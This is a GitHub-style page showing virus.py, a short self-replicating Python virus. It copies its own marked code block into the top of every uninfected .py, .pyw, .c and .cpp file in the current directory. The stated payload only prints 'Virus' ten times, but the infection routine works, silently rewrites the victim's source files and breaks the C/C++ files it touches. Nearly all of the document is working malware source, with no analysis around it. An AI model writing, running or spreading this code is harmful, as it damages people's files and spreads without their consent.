-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathvirus.py
41 lines (33 loc) · 945 Bytes
/
virus.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# START OF VIRUS #
import sys, glob
code = []
with open(sys.argv[0], 'r') as f:
lines = f.readlines()
virus_area = False
for line in lines:
if line == '# START OF VIRUS #\n':
virus_area = True
if virus_area:
code.append(line)
if line == '# END OF VIRUS #\n':
break
python_scripts = glob.glob('*.py') + glob.glob('*.pyw') + glob.glob('*.c') + glob.glob('*.cpp')
for script in python_scripts:
with open(script, 'r') as f:
script_code = f.readlines()
infected = False
for line in script_code:
if line == '# START OF VIRUS #\n':
infected = True
break
if not infected:
final_code = []
final_code.extend(code)
final_code.extend('\n')
final_code.extend(script_code)
with open(script, 'w') as f:
f.writelines(final_code)
# Malicious part
for i in range(0, 10):
print("Virus")
# END OF VIRUS #